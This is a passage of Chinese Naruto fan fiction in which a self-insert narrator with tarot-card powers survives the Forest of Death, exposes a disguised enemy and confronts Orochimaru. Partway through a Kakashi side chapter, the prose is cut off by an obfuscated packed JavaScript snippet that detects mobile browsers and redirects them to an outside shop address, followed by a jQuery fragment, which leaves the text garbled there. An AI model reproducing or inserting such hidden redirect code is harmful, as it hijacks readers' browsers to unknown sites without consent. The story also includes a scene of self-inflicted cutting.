“嗯,互相保护。” “关于移动,” 我继续完善计划 “白天光线充足,利于观察和规避,我们全速赶路,尽量缩短在开阔地或危险区域停留的时间。必须在傍晚天色明显变暗之前,找到绝对安全的过夜点。佐助,寻找卷轴持有者的任务…” 主动出击是必须的,但如何选择目标至关重要。 “交给我。” 佐助言简意赅,猩红的写轮眼中寒光一闪 “我会沿途留意战斗痕迹、查克拉残留、或者小队行动的踪迹。目标锁定为持有‘地之书’的、相对较弱或落单的队伍。” 他眼中闪过一丝冰冷的效率至上光芒 “以最快速度解决战斗,拿到卷轴,绝不恋战。” 仁慈和犹豫在这里等于自杀。 “嗯。” 我们都用力点头,表情凝重。时间紧迫,容不得半点仁慈或优柔寡断。生存和任务,是唯二的法则。 就在我们初步敲定计划,紧张的气氛因为有了方向而稍稍缓和,小樱刚在笔记本上画下第一个标记符号之际—— “啊————————!!!” 一声凄厉至极、充满了无尽绝望和撕心裂肺痛苦的惨叫声,毫无征兆地、如同淬毒的钢针般,狠狠刺破了森林死一般的寂静! 那声音并不遥远!仿佛就在我们藏身处几百米外的某个方向,甚至能隐约分辨出是一个年轻男性的声音!尖锐、短促,如同被骤然扼断喉咙的鸟鸣,带着令人头皮瞬间炸裂、血液瞬间冻结的恐怖力量! “!!” 小樱猛地用双手死死捂住自己的嘴,眼睛因极致的惊恐而瞪得滚圆,身体如同寒风中的落叶般剧烈地颤抖起来,笔记本“啪嗒”一声掉落在厚厚的腐叶上。 鸣人浑身肌肉瞬间僵硬如铁,脸上最后一丝血色彻底褪尽,只剩下惨白一片。那双总是充满活力的湛蓝瞳孔因骤然袭来的恐惧而收缩成针尖大小,呼吸都停滞了。 佐助的反应最快!猩红的写轮眼瞬间开启!双勾玉在昏暗的光线下疯狂转动,如同两团燃烧的鬼火,死死钉向惨叫声传来的方向!他全身的肌肉紧绷如拉到极限的弓弦,右手已经无声地按在了背后的忍具包上,进入了最高戒备状态! 而我,心脏像是被一只从冰窟中伸出的巨手狠狠攥住,猛地一抽,几乎停止了跳动!一股冰冷的寒意从脚底板瞬间窜上头顶,全身的汗毛根根倒竖!指尖死死抠进掌心,指甲带来的刺痛也无法驱散那股瞬间席卷全身、深入骨髓的恐惧和冰冷!那惨叫声……如此真实,如此短暂,戛然而止……意味着什么,不言而喻! 死亡森林! 这个名字,第一次不再是入口处考官口中的警告,不再是纸面上冰冷的文字,而是以如此赤裸裸、如此残酷血腥的方式,混合着那声仿佛还在耳边萦绕不散的绝望哀嚎,如同烧红的烙铁,狠狠地烙印在了我们的灵魂之上! 刚才还只是停留在认知层面的威胁,此刻却变成了弥漫在潮湿阴冷空气中、几乎能嗅到的血腥味(或许真的是错觉?),变成了那声撕心裂肺、象征着生命终结的惨叫,变成了深入骨髓、无法驱散的冰冷恐惧! 森林的阴影仿佛在这一刻陡然加深、拉长,如同无数择人而噬的鬼影。每一片树叶的晃动都像是隐藏着致命的杀机,每一阵穿林而过的风声都像是亡魂不甘的叹息。手腕上追踪器那冰凉的触感,此刻变得无比清晰而灼热,像一条吐着信子的毒蛇,死死缠绕着我的脉搏,时刻提醒着我: 你,就是下一个目标! “刚…刚才那是…” 小樱的声音带着剧烈的颤抖和破碎的哭腔,从指缝间艰难地挤出,充满了无助。 鸣人用力咽了口唾沫,喉结上下滚动,发出清晰的“咕咚”声。他强行挺起胸膛,试图驱散那份深入骨髓的寒意,但声音依旧带着无法掩饰的发飘 “别…别怕!说不定…说不定是陷阱!是考官故意弄出来吓唬人的!” 他试图用最乐观(也最不现实)的想法来安慰同伴,也安慰自己。 佐助的写轮眼缓缓转动,如同最精密的雷达扫描着那个方向。他收回目光,看向我们三人,猩红的眼眸在昏暗的光线下散发着妖异而冰冷的光芒,声音低沉得如同从地底传来,带着前所未有的、令人心头发冷的严肃: “不是陷阱。” 他斩钉截铁地宣判,每一个字都像冰珠砸落 “是死亡。” 他的目光如同冰冷的探针,扫过小樱惊恐的脸,扫过鸣人强作镇定的脸,最后,深深地、带着无声却沉重如山的警示,落在我苍白如纸的脸上。 “听到了吗?” 他的声音如同丧钟 “这就是规则。这就是‘别死’的忠告。” 那声惨叫,就是这场生存游戏最残酷的序曲和注解。 “计划不变。” 佐助的声音陡然变得斩钉截铁,强行压下空气中弥漫的、几乎令人窒息的恐惧氛围 “提高警惕,立刻离开这里!刚才的动静,很可能会引来其他‘猎人’!” 他率先起身,动作迅捷而无声,如同蓄势待发的猎豹,示意我们立刻跟上。 我们沉默地起身,动作比之前更加轻缓,仿佛害怕惊动沉睡的死神。每一次落脚都小心翼翼,呼吸被压到最低,连心跳都似乎被刻意放缓。鸣人紧紧跟在我身边,手臂若有若无地挡在我外侧,像一个无声的守护者。小樱用力咬着下唇,几乎要咬出血来,强迫自己颤抖的双腿迈开脚步,弯腰捡起地上的笔记本,紧紧攥在手里。 我最后看了一眼惨叫声传来的方向——那片幽暗的、仿佛弥漫着血腥气的树林,此刻在我眼中,就是一张刚刚吞噬了生命的、择人而噬的恐怖巨口。 怀里的【教皇】牌似乎也感受到了这份沉重到极致的死亡气息,隔着衣服传来一阵微弱却清晰的暖意,像是在安抚我濒临崩溃的神经。我用力攥紧了它,仿佛抓住了黑暗中唯一能指引方向的浮木。 21. 二十章番外[番外] 亲眼见过太多天赋不错的下忍在那里折戟沉沙,甚至……丧命。而眼前这个女孩……她失忆了,像个普通人一样重新开始,虽然展现出了坚韧和一定的能力(通过第一场就是证明),但死亡森林的残酷远超笔试。 卡卡西的心像被一只无形的手攥紧了。他想起了神无毗桥之前,带土也是这样元气满满地依赖着某个人,那个人也是这样温柔而坚定地照顾着那个咋咋呼呼的吊车尾。眼前的鸣人,和过去的带土身影几乎要重叠。而站在鸣人身边,被鸣人下意识靠近、信赖着的“她”……卡卡西的呼吸微微一窒。水门班的记忆碎片不受控制地涌现,带土咋呼的声音、琳温柔的微笑,还有……“她”那总是带着包容和无奈笑意的侧脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575541|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不行。卡卡西强迫自己移开视线,重新聚焦在《亲热天堂》的书页上,但那上面的文字此刻模糊一片。他必须维持住表面的平静。她是“已死之人”,一个不该存在的幻影。过度关注只会带来不必要的麻烦,对她是,对鸣人也是。水门老师……琳……带土……那些伤痛,他不能再让眼前的孩子们重蹈覆辙,尤其……是她。 22. 『死亡森林 中』 佐助的判断如同冰冷的楔子,精准地钉入了不安的核心。那声戛然而止的惨叫,仿佛投入死水潭的石子,激起的并非涟漪,而是无数潜藏在阴影缝隙中、蠢蠢欲动的窥探。空气瞬间凝固,沉重得让人窒息。我们下意识地屏住呼吸,连心跳都似乎被无形的压力攥紧。 小樱紧挨着我,我能清晰地感受到她身体的微颤。就连一向咋呼的鸣人,此刻也罕见地安静下来,只是那微微发抖的手泄露了他内心的紧张。 “喂…那个…” 鸣人突然扭捏地开口,声音带着点不自然的干涩 “我…我想去尿尿!” 他像是找到了一个蹩脚的出口,不等回应,就急匆匆地转身,随意地朝旁边一棵粗壮的大树走去,手已经摸向了裤带。 “鸣人!” 小樱的脸颊瞬间飞红,又羞又恼地低喝,拳头已经砸向鸣人 “这里还有女生在啊!给我去远一点的地方!” 鸣人动作一僵,像被烫到一样缩回手,脸上也涨得通红。 “知、知道了啦!麻烦!” 他嘟囔着,捂着腹部,弓着背,灰溜溜地往更茂密的灌木丛深处钻去。走了几步,他还不死心地回头,目光带着点央求地望向我 “老姐…你…你陪我过去呗?那边黑黢黢的怪吓人的…” “不行!” 小樱立刻像护崽的母鸡般挡在我身前,斩钉截铁 “男女有别!鸣人你都是忍者了,自己去!” 鸣人被噎得说不出话,只能悻悻地“切”了一声,加快脚步消失在昏暗的林影里。 我的心猛地一沉。我记得,原著里这个回来的鸣人,是敌人伪装的。一股强烈的冲动催促我跟上去,确保他的安全。然而,脚步却像灌了铅——姐姐跟着弟弟去…呃…上厕所?这个念头光是闪过就让我头皮发麻,脸颊发烫。(更何况我们根本没有血缘关系!这简直比原著设定还要奇怪一百倍啊喂!) 理智最终压过了担忧,我只能强压下心头的不安,紧盯着鸣人消失的方向,手指无意识地扣紧了忍具包里的苦无边缘。 时间在压抑的等待中缓慢流逝,每一秒都像被拉长的蛛丝。终于,灌木丛一阵晃动,那个熟悉的身影走了出来。 “搞什么嘛,害我等这么久…” 他抱怨着,脸上带着鸣人标志性的、有点傻气的笑容,朝我们挥手 “喂!你们三个傻站着干嘛?可以走啦!” 话音未落! 我几乎是条件反射般,身体先于思考做出了行动!手臂猛地挥出,三枚手里剑撕裂空气,带着尖锐的破空声,精准地钉在他脚前的地面上,呈三角之势将他困在原地!寒光闪烁的锋刃距离他的脚尖仅有寸许! “姐姐?!你干嘛啊!” 假鸣人脸上的笑容瞬间冻结,取而代之的是真实的惊愕和一丝被冒犯的怒火,他瞪大眼睛,声音拔高 “你疯了吗?突然攻击我干什么?!” 小樱被这突如其来的变故惊呆了,嘴巴微张,完全反应不过来。佐助也愣了一瞬,但他那双写轮眼随即锐利地眯起,目光在我和“鸣人”之间飞快扫视,瞬间明白了我的意图——这个鸣人是假的! 就在假鸣人试图拔腿挣脱手里剑的封锁时,佐助的身影已如离弦之箭般射出!他借着树干一蹬,身体在空中拧转,右腿带着凌厉的风声,狠狠踹向假鸣人的胸口! “砰!” 沉闷的撞击声响起。 假鸣人猝不及防,被这一脚踹得向后踉跄,重重撞在身后的大树上。与此同时,我手腕再次一抖,两枚苦无脱手而出 “笃!笃!” 两声,精准地穿透他宽大的橙色外套下摆,将他牢牢钉在粗糙的树干上! “呃啊!” 假鸣人痛哼一声,挣扎了几下,发现衣服被死死固定,动弹不得。他抬起头,脸上充满了被背叛的愤怒和难以置信,目光扫过佐助,最后恶狠狠地锁定我 “你们到底发什么神经?!突然打我干什么!小樱!你看看他们!都欺负我!快帮帮我啊!” “闭嘴!” 我的声音冰冷刺骨,带着不容置疑的严厉,瞬间压过了他的叫嚣。森林里死寂一片,只有他粗重的喘息和我冰冷的声音在回荡。 “变身术,” 我一步步走近,目光如手术刀般在他脸上逡巡,刻意放缓的语调带着赤裸裸的嘲讽 “看来还得回忍者学校重修。” (虽然只是占了知晓剧情的便宜,但此刻必须表现得胸有成竹) “连我这种‘旁听生’都骗不过。” 我停在他面前一步之遥,声音陡然降至冰点 “你脸上的伤口呢?去哪了?还有…” 我的视线下移,落在他左腿外侧 “鸣人的忍具袋,从来都是绑在右腿的!说,你是谁?鸣人在哪?!” 手中的手里剑再次举起,尖端寒芒闪烁,直指他的咽喉,封死了他任何狡辩或反击的空间。 假鸣人脸上的愤怒面具骤然碎裂,沉默了一瞬。随即,一种令人毛骨悚然的、低沉而诡异的笑声从他喉咙里滚了出来 “呵呵…呵呵呵…不愧是那个吊车尾的姐姐啊,真是…了解得令人发指。” 那笑声里没有半分暖意,只有冰冷的算计和一丝被拆穿的玩味。 “嘭!” 浓密的白色烟雾猛然炸开,瞬间淹没了他的身影。烟雾中传来布料撕裂的轻响。当烟雾被林间阴冷的风吹散,站在原地的已不再是橙色的身影。 一个身形高瘦、戴着古怪呼吸面罩的忍者显出身形,他轻松地扯断了钉住衣角的苦无链子,活动了一下手腕,面罩下传来沉闷而危险的低语 “既然被识破了…那就省点时间吧。把你们的卷轴交出来。否则…” 他周身散发出毫不掩饰的杀意,如同实质的冰水漫过脚踝。 “动手!” 佐助的厉喝划破凝滞的空气。他没有任何犹豫,双手化作残影,数枚手里剑率先激射而出,身体紧随其后,如一道黑色闪电直扑敌人!他必须缠住这个危险的家伙,给队友创造机会。 我的心瞬间揪紧!鸣人!真正的鸣人还下落不明!几乎在佐助冲出的同时,我猛地转身,朝着刚才假鸣人走出的那片茂密灌木丛冲去!身后,激烈的忍具碰撞声、查克拉爆发的轰响以及小樱紧张的惊呼声瞬间交织成一片! “鸣人!鸣人!你在哪?回答我!” 我压低声音急促地呼唤,双手焦急地拨开层层叠叠的枝叶,目光在昏暗的光线下急切地搜寻。恐惧像冰冷的藤蔓缠绕住心脏——原著里,鸣人就是在这里被袭击的! “唔…唔唔…” 一阵微弱的、被堵住嘴的挣扎声从一堆半人高的蕨类植物后传来! “鸣人!” 我冲过去,心脏狂跳。只见鸣人被粗糙的藤蔓捆得像只粽子,嘴巴被一团破布死死塞住,倒在地上拼命扭动。看到我,他湛蓝的眼睛瞬间爆发出巨大的惊喜和委屈,发出更响亮的“唔唔”声。 “别怕!我来了!” 我立刻蹲下,锋利的苦无毫不犹豫地割断坚韧的藤蔓。扶他坐起,快速扯掉他嘴里的破布,双手急切地在他身上摸索检查 “伤到哪里没有?有没有被下毒?说话!” “咳咳…没…没事!就是被那个混蛋偷袭勒得喘不过气!” 鸣人剧烈咳嗽着,大口呼吸新鲜空气,脸上满是愤怒 “那个冒牌货呢?我要揍扁他!” 确认他只是被捆绑并无大碍,悬着的心才重重落下。 “在那边!佐助在牵制他!快!” 我一把将他拉起来,两人毫不犹豫地朝着战场爆发的方向疾冲而去! 得益于我的介入,原著中佐助因分心救援而露出的破绽并未出现。此刻,他正全神贯注地与音忍激斗。写轮眼猩红的光芒在幽暗的林间高速转动,精准地预判着对手的每一个动作。 他身形飘忽,利用树木作为掩体,不断以刁钻的角度投掷苦无和手里剑,逼迫对方走位,同时施展基础体术进行近身缠斗,让对方无法轻易施展强力忍术。 小樱也展现出了远超平时的勇气和配合意识。她没有盲目冲上去,而是敏锐地捕捉着佐助创造的每一个机会。当佐助一个巧妙的替身术诱使敌人扑空,旧力已尽新力未生之际,小樱看准时机,双手连挥! “咻!咻!咻!” 数枚苦无带着尖锐的呼啸,精准地射向音忍落脚点附近和可能的闪避路径!虽然未能直接命中,却成功干扰了对方的节奏,迫使他狼狈地翻滚躲避,为佐助争取到了宝贵的喘息和调整姿态的时间。两人一牵制一干扰,配合竟显出一丝雏形的默契。 “鸣人!上!” 我和鸣人如旋风般冲入战场。鸣人看到敌人,新仇旧恨涌上心头,怒吼一声 “混蛋!吃我一拳!” 他没有任何花哨,凝聚查克拉的拳头带着一往无前的气势,狠狠砸向音忍的后心! 音忍显然没料到鸣人能这么快脱困并加入战斗,仓促间转身格挡。 “砰!” 沉闷的撞击声。音忍被鸣人饱含愤怒的一拳震得手臂发麻,连连后退,正好撞上佐助悄无声息踢来的扫堂腿! “呃啊!” 音忍下盘不稳,狼狈地摔倒。小樱抓住机会,又是一轮精准的苦无投射,封锁他起身的空间。 我们四人首次形成了短暂的合围之势!虽然配合还是生疏,但人数和突如其来的夹击让音忍压力陡增。他眼神阴鸷,知道再纠缠下去讨不了好。 “切!算你们走运!” 他啐了一口,双手飞快结印。 “土遁·土流壁!” 一道不算厚实的土墙猛地从地面升起,挡在我们面前。趁着烟尘和视线被阻隔的瞬间,他毫不犹豫地转身,身影几个起落,迅速消失在茂密的丛林深处。 激烈的战斗骤然停歇,只留下粗重的喘息、弥漫的尘土和一片狼藉的地面。断裂的树枝、散落的苦无、被忍术轰出的浅坑,无声地诉说着刚才的凶险。 佐助抬手,随意地抹去脸颊上被碎石划破渗出的血迹,写轮眼缓缓褪去猩红。小樱松了口气,快步走到他身边,担忧地问 “佐助君,你没事吧?” 鸣人则叉着腰,一脸不爽地嚷嚷 “搞什么嘛!我还没好好教训那个混蛋呢!又让佐助你这家伙出风头了!” 他撇着嘴,显然对没能亲手打败敌人耿耿于怀。 “白痴!” 我忍不住斥责他,语气严厉中带着后怕 “现在是比谁出风头的时候吗?你要是刚才真受了重伤怎么办?!而且,我们的位置已经彻底暴露了!这地方一刻都不能多待,必须马上离开!” 我的目光警惕地扫视着周围阴森的树林,仿佛每一片树叶后面都藏着窥伺的眼睛。 就在话音落下的瞬间,一股强烈的眩晕感毫无预兆地击中了我。 “你要是受伤了怎么办……!我……我……” 像一把生锈的钥匙,猛地捅进了记忆深处某个尘封的锁孔。 模糊的、碎裂的画面在脑海中疯狂闪烁:昏暗的光线…一个戴着护目镜、有着刺猬般短发的瘦小背影…,我断断续续,带着哭腔说 “你不要和…比好不好!你…你…逞强受伤…我…我怎么办…” “姐姐?姐姐!” 鸣人带着惊慌的声音和一只在眼前晃动的手掌将我从那混乱的漩涡中强行拉回现实。 我猛地摇了摇头,甩开那些抓不住的碎片,眼前重新聚焦。佐助、小樱、鸣人,三双眼睛都带着惊疑和探究,直直地注视着我。显然,我刚才突然的呆滞和失神,与刚才那个立刻要求转移的果断形象截然不同。 “没…没事。” 我深吸一口气,试图平复胸腔里那颗狂跳不止的心脏,但刚才那陌生又熟悉的恐惧感残留的冰冷触感,依旧缠绕在四肢百骸。那是什么?为什么一直出现这种东西? 我们迅速撤离了那片是非之地,在佐助的带领下,找到了一处被巨大树根盘绕形成的、相对隐蔽的天然树洞。潮湿的泥土气息混合着腐朽的木头味道弥漫在狭小的空间里。 佐助背靠着冰冷的树壁,眉头紧锁,低沉的声音在洞内回响 “刚才的情况你们都看到了。敌人能轻易伪装成鸣人接近我们,说明他们一直在暗中观察。如果下次我们再次分散,或者敌人用更难以识破的方式接近…后果不堪设想。” 他环视我们,目光尤其在我还有些苍白的脸上停留了一瞬。 “那…那该怎么办,佐助君?” 小樱紧张地问道,手指无意识地绞在一起。 佐助沉默片刻,似乎在飞速思考。 “必须制定一个只有我们四人知道的暗号。” 他斩钉截铁地说 “一个随机、不重复,能瞬间确认对方身份的暗号。问答形式,或者特定的动作配合。具体细节,需要立刻确定。” 我背靠着树根,冰凉的触感透过衣服传来。手臂上被自己划破的伤口传来阵阵刺痛,但这痛感此刻反而成了让我保持清醒的锚点。佐助的声音仿佛隔着水面传来,模糊不清。 我的思绪依旧被刚才那突如其来的记忆碎片搅得翻江倒海,心脏像被一只无形的手攥紧,每一次跳动都牵扯着莫名的钝痛。护目镜…火影宣言…那个模糊的背影?为什么心会这么痛? “听明白了吗?” 佐助的声音陡然提高,带着一丝不容置疑的威严,终于穿透了我混乱的思绪。 我猛地回神,发现三双眼睛再次聚焦在我身上。佐助的眼神锐利如鹰,带着审视;小樱满是担忧;鸣人则皱着眉,脸上写满了困惑和一丝不易察觉的不安——他在担心我。 “啊…明白了。” 我下意识地回答,试图挤出一个安抚的笑容,但连自己都觉得僵硬勉强。(天知道刚才佐助说了什么暗号规则,我一个字都没听进去。) 佐助的目光在我脸上停留了两秒,那双深邃的黑眸似乎看穿了我的敷衍和心不在焉,但他最终只是抿了抿唇,没有点破。鸣人似乎想说什么,他犹豫着伸出手,似乎想拍拍我的肩膀安慰一下。 就在他的指尖即将触碰到我肩膀布料的前一刹那—— “嗤啦!” 一道细微却令人头皮炸裂的破空声,几乎是贴着鸣人的脸颊掠过! 一道锐利无比、闪烁着惨绿幽芒的风刃,毫无征兆地从树洞深处最浓稠的黑暗中激射而出!速度快得超越了视觉的捕捉!它险之又险地擦过鸣人的颧骨,带起几缕金色的发丝,然后“噗”地一声深深嵌入鸣人背后的树壁,只留下一个深不见底、边缘焦黑的小洞! 时间,在这一刻被无限拉长、凝固。 一股源自生命本能的、极致的恐惧如同冰海倒灌,瞬间淹没了我的四肢百骸!血液似乎在这一刻冻结!瞳孔因惊骇而扩张到极限,视野里的一切都染上了一层死寂的灰白。树洞深处那片吞噬光线的黑暗,此刻仿佛化作了通往深渊的巨口,散发着令人灵魂战栗的阴冷气息! 那个名字,那个象征着绝对危险与死亡的存在,带着血腥味的恐惧感,如同烙印般烫在我的意识深处——大蛇丸! “躲开!!!!” 我的嘶吼声带着撕裂般的破音,身体的本能比思维更快!左手如同铁钳般死死抓住旁边还在发懵的鸣人的手腕,用尽全身力气将他狠狠甩向树洞入口的相反方向!与此同时,右腿猛地蹬地,身体借助反作用力,如同离弦之箭般朝着洞口另一侧扑去! 佐助和小樱在我那声变了调的预警嘶吼响起的瞬间,也如同被踩到尾巴的猫,爆发出忍者极限的反应速度!佐助一把拽住离他更近的小樱的后领,两人化作两道模糊的影子,以毫厘之差朝着我扑出的方向翻滚躲避! 就在我们四人刚刚脱离原地的千分之一秒—— “轰隆!!!!!” 一股无法形容的恐怖力量,如同无形的洪荒巨兽,以摧枯拉朽之势狠狠砸在我们前一秒站立的位置!空气被极致压缩,发出不堪重负的爆鸣!坚硬如铁的千年古树树壁,如同脆弱的朽木般寸寸碎裂、崩塌!木屑、碎石、泥土混合着狂暴的气浪,呈放射状猛烈喷射出来! 巨大的冲击波像一堵无形的巨墙横扫而来!我扑在半空的身体被狠狠撞上,五脏六腑仿佛都错了位!死死抓住鸣人手腕的手指,在狂暴的力量撕扯下,如同抓住救命稻草却又被滔天洪水冲走般,一根、一根…绝望地滑脱! “不——!鸣人!!!” 惊恐到极致的尖叫卡在喉咙里,只能化作无声的呐喊。眼睁睁看着鸣人那抹刺眼的橙色,像断线的风筝一样被混乱的气流裹挟着,撞向另一侧倒塌的树干,瞬间被腾起的烟尘和断木碎枝吞没! 恐慌!灭顶的恐慌如同冰冷的毒蛇,瞬间缠绕住我的心脏,狠狠噬咬!大脑一片空白,只剩下那个名字带来的死亡阴影和鸣人被吞没的画面在疯狂回旋!身体的本能驱使我想冲进那片毁灭的烟尘,但理智的残丝死死拉住我——进去就是送死!那是大蛇丸! 求生的本能最终压过了冲动,我借着气浪的余波,狼狈地滚进旁边一丛茂密得几乎不透光的蕨类植物中。身体重重砸在地上,胸腔里翻江倒海,喉咙涌上腥甜的铁锈味。心脏在胸腔里疯狂擂动,每一次搏动都牵扯着全身的剧痛和冰冷的恐惧。 我死死咬住下唇内侧的软肉,尖锐的疼痛和浓郁的血腥味强行刺激着濒临崩溃的神经。 冷静!必须冷静!鸣人是主角…他有九尾…他不会死在这里…不会!我拼命给自己灌输着这个念头,试图压下那几乎要将我撕裂的恐惧和眩晕感。但身体背叛了意志,剧烈的颤抖无法抑制,视野边缘阵阵发黑,太阳穴突突直跳,尖锐的头痛如同无数钢针在颅内搅动!不行!绝对…绝对不能在此时失去意识! “嘶啦!” 没有任何犹豫!我反手拔出忍具包里的苦无,冰冷的锋刃狠狠划过左臂!皮肉翻卷的剧痛瞬间盖过了一切!鲜血如同小蛇般蜿蜒流下,滴落在潮湿腐叶上,晕开刺目的暗红。这自残般的痛楚如同强效的清醒剂,暂时压下了精神上的混乱与身体的虚弱感,将濒临涣散的意识强行拉回残酷的现实。 失血会带来新的危险,但比起被剧情的惯性碾碎或被大蛇丸随手抹杀,这代价必须付出!我强撑着抬起头,透过蕨类植物锯齿状的叶片缝隙,紧张地扫视着那片被摧毁的区域。烟尘缓缓沉降,露出一个直径数米的巨大深坑,坑底还冒着缕缕青烟,周围的树木呈放射状倒伏断裂,一片末日景象。没有佐助和小樱的身影,他们应该也成功躲避到了附近。 鸣人…鸣人你在哪?! 就在这时—— “轰!!!” 一声沉闷却极具穿透力的爆炸声,从不远处的密林深处猛然炸响!方向…似乎是刚才鸣人被气浪卷走的大致方位! 心脏猛地一抽!来不及思考更多,求生的本能和对鸣人的担忧压倒了一切!我咬着牙,用没受伤的右手撑地,不顾左臂的剧痛和失血带来的阵阵眩晕,强行将自己从藏身处拖出来,像一头负伤的野兽,跌跌撞撞地朝着爆炸声传来的方向匍匐前进!无论那边等待的是什么,我都必须去看一看! 循着爆炸的余音和空气中弥漫的硝烟味,我几乎是手脚并用地在盘根错节的树根和湿滑的苔藓间穿行。左臂的伤口每一次摩擦都带来钻心的疼痛,鲜血浸湿了袖管,黏腻冰冷。失血和过度的精神紧张让我的视线有些模糊,呼吸也变得急促而浅薄。但我不能停,鸣人可能就在前面! 拨开最后一片遮挡视线的巨大芭蕉叶,眼前的景象让我瞬间窒息。 一片相对开阔的林间空地上,佐助和小樱背靠着一块布满青苔的巨石,瘫坐在地。佐助的写轮眼疯狂转动着,猩红的眼眸中却充满了前所未有的惊骇和一种被无形力量钉死的僵硬!他的身体在剧烈地颤抖,牙齿死死咬住下唇,渗出鲜血,仿佛在与某种看不见的恐怖巨兽角力,却连一根手指都无法抬起! 小樱的情况更糟,她脸色惨白如纸,瞳孔涣散,整个人如同被抽走了灵魂的玩偶,身体筛糠般抖动着,只有喉咙里发出意义不明的、濒死小动物般的呜咽。浓烈到几乎化为实质的冰冷杀气,如同粘稠的墨汁,沉甸甸地笼罩着那片区域,源头正是—— 空地中央,那个披着草忍外皮,却散发着非人气息的存在。他随意地站在那里,仿佛周围扭曲的空气和凝固的杀意只是微不足道的背景。他的目光饶有兴致地扫过佐助和小樱的惨状,像是在欣赏两只陷入琥珀的昆虫。然后,那非人的、狭长的金色竖瞳,缓缓地、精准地转向了我藏身的方向!嘴角勾起一抹玩味而残忍的弧度。 被发现了!彻骨的寒意瞬间从脚底窜上头顶! 我甚至能感觉到那视线如同冰冷的蛇信舔过我的皮肤!巨大的压力让我几乎无法呼吸。佐助和小樱已经完全失去了行动能力,仅凭我现在的状态,冲出去无异于自杀!怎么办?!怎么办?! 手指下意识地抚上胸口,那里贴身存放着那叠冰凉的塔罗牌。教皇先生…不,是那份源自异界的神秘力量!求求你…指引我!给我一张能创造机会、让我们暂时脱离险境的牌!一张能让我们…在这绝望杀局中“消失”片刻的牌! 意念如同投入深潭的石子,在精神的世界里激起剧烈的涟漪。指尖划过怀中卡牌冰冷的背面,触感各异。突然,其中一张仿佛被无形的火焰点燃,变得无比灼热,其蕴含的意志清晰地烙印进我的感知! 权杖七(Seven of Wands)! 小阿尔卡纳牌!脑海中瞬间浮现出牌面的景象:一个战士站在陡峭的高坡上,手持权杖,奋力抵挡着下方六根凶猛袭来的权杖!象征意义如同洪流般涌入意识:防御!坚守阵地!以寡敌众!在绝对的逆境中寻找一线生机!利用地形优势进行抵抗! 解读在电光火石间完成:不是进攻,而是防御和利用环境!在看似被包围、被碾压的绝境下,找到立足点,制造混乱,争取那宝贵的喘息之机! 就是它!绝境中的一线微光! 没有任何犹豫!我猛地抽出那张滚烫的卡牌!手指因为紧张和虚弱而剧烈颤抖,却异常坚定地将那张描绘着战士坚守画面的“权杖七”牌影狠狠撕碎!幻影如同金色的星屑般消散。同时,我将承载着真实力量的塔罗牌本体,用力按在身下湿润的泥土上! 心中无声的呐喊与精神力如同开闸的洪水,疯狂涌入手中的卡牌! “嗡——!!!” 一股难以言喻的磅礴力量瞬间以我掌心按下的土地为圆心,如同沉睡的火山般轰然爆发!并非冲向大蛇丸,而是精准地灌注到佐助和小樱所在位置的地面之下! 下一刹那! “轰隆隆隆——!!!” 佐助和小樱脚下的地面毫无征兆地剧烈拱起、爆炸!不是泥土和岩石的物理爆炸,而是纯粹由金色光芒构成的、无数根巨大权杖虚影的狂暴喷发! 它们交织着、旋转着,如同瞬间绽放的荆棘光之森林,形成一个半圆形的、坚不可摧的防御壁垒,将佐助和小樱牢牢护在核心!刺眼欲盲的金光混合着狂暴的能量冲击波,如同实质的海啸般向四面八方疯狂扩散!所过之处,空气发出不堪重负的尖啸,地面的碎石落叶被瞬间吹飞、湮灭! 这突如其来的、完全超出常理的攻击方式,饶是大蛇丸也猝不及防!他眼中闪过一丝真正的讶异,下意识地抬起手臂,宽大的袖袍瞬间被激荡的气流鼓胀,挡住了那足以灼伤视网膜的强光和狂暴的能量冲击! 就是现在!三秒!这用尽我此刻全部精神力换来的宝贵三秒! “咻!咻!咻!咻!” 早已扣在手中的四枚手里剑和两枚苦无,在强光爆发的瞬间脱手而出!它们并非瞄准大蛇丸(那毫无意义),而是精准地射向他周围可能移动的路径和身后巨树的枝干! 身体如同压紧的弹簧释放!我强忍着精神力瞬间被抽空带来的强烈眩晕和恶心感,以及左臂失血的虚弱,爆发出此刻所能达到的极限速度,化作一道模糊的影子,从藏身处猛扑而出!目标直指被金光笼罩的佐助和小樱! 三秒!金光壁垒的光芒开始剧烈闪烁,变得不稳定! 我冲入光幕!灼热的能量灼烤着皮肤,却感觉不到痛,只有争分夺秒的急迫!左手抓住小樱的胳膊,右手拽住佐助的衣领!用尽吃奶的力气,拖着两个几乎失去行动能力的人,朝着旁边一处被巨大树根和藤蔓层层缠绕形成的天然凹陷处滚去! “噗通!” 三人狼狈地滚作一团,跌进那个狭窄、潮湿、散发着腐叶气息的凹陷里。 “呃…” 精神力彻底透支的剧痛和失血的眩晕如同两柄重锤同时砸在太阳穴上!眼前阵阵发黑,金星乱冒,胃里翻江倒海。 我瘫软在地,大口大口地喘着粗气,每一次呼吸都带着灼痛和铁锈味,冷汗瞬间浸透了后背,身体控制不住地剧烈颤抖,只能依靠颤抖的手臂勉强支撑着上半身不彻底倒下。左臂的伤口因为剧烈的动作再次崩裂,鲜血汩汩涌出,染红了身下的腐叶。 “旁听生…你!” 小樱被我粗暴地拖拽和滚落的撞击弄得生疼,但也彻底从那恐怖的杀气震慑中惊醒过来。她看着我惨白如鬼的脸颊、因剧痛而扭曲的表情、以及左臂那狰狞得深可见骨、血流如注的伤口,湛绿的眼眸中充满了极度的震惊和后怕。 “嘘!安静!先别说话…” 我强忍着眩晕和呕吐感,用气声嘶哑地警告她,同时伸出沾满血污和泥土的右手,用力地、紧紧地握住了她冰冷颤抖的小手。指尖传来的冰冷触感让我心头发颤,只能用尽力气传递着无声的安抚:撑住,别怕…(虽然我自己也怕得要死)。天知道大蛇丸会不会立刻循着血腥味和能量波动找过来!风险太大了… 